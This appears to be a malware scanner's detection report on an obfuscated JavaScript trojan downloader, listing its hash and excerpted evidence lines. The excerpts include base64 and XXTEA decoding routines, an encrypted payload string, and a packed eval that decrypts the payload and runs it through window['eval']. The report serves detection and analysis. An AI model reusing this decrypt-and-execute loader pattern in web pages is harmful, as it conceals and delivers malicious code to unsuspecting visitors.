Trojan-Downloader.JS.Agent.cce
Trojan downloader with obfuscation
Packer obfuscation (eval with replace)Custom b64 decoding loop w/ bitwise operations
SHA-256c6b7986000cf8bf35246f77907914dbe57866065c8e2083bad77a09400596c01
MaleculeO₂(As₃Xe)H₂(Db₃Po)Md
Evidence
6:23… {var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)
7{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode((( …
7:314… <12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}
8return out.join('');}
9var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, …
13:16… eChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)
14break;do
15{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)
16break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do
17{c3=str.charCodeAt(i++)&0xff;if(c3==61)
18return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)
19break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do
20{c4=str.charCod …
34:83… ;sum=sum-delta&0xffffffff;}
35return long2str(v,true);}
36t="6CYXAMTW7JEqipgOrdduIJQ5yEW/gAL2kHpnxDXLEOWIgRKjp/J3lTImLvn6ZP6u1k1O1mO/adjdwWWSV8QENhtjId2H9XMrNeL8rOPMiUlUOL0XzN+7l4rpKR2zI4MFgy5WRo99nzTNp882MGRSSHZjkw97mhSjS4euSRJAIyME1wGSccHEBrpli8CvKIKfnpfysFXQMezaJHvDPGAIowPpsstDSu1+Cxd/cyWqROvUZNjo2HQzmUZ/aYvW47YZVQmJur9EmXjpvF6tuHFAyIGH0Esn+y1Zi5LFGoW34xXDqC8kVEMdRQIjMgYufRnvDARo8UsCBWqOfLRUboTa77RwndsmtAHLLm/dql5/fGsoJ/aikXHNg6ZXiyk6pmmFd1l56LsjfOpUe38qUkU3+hOUqUi4POZ5tf/sWroawPZV6xPVxZE19Q4AcBprfTZ5fncv9cNyCUyjgh6UTJekdPPqU6yqq0b5jMC42YPJh4Jxo7tNPbGw4TLv0Ka4gBdJYEO6eQl0hNhkAWUZ4EQxpgHu1LSMoDJdcZN+XwH9UuDraXrinjmT8PNN0/m95wIyUF …
36:4073… HTNmUKxd6am3IjoO74hU1RtKQU34DlB05sQu58ePzBMesjIIHuxucAwK5cAVddHKUsSREojatw7X+417BHzo6Y=";
37eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0=4(5(3(0),\'\\2\\1\\6\\d\\7\'));c["\\b\\a\\8\\9"](0);',14,14,'t|x75|x66|base64decode|utf8to16|xxtea_decrypt|x63|x31|x61|x6c|x76|x65|window|x6b'.split('|'),0,{}))
38/*Extreme*/
39</script> …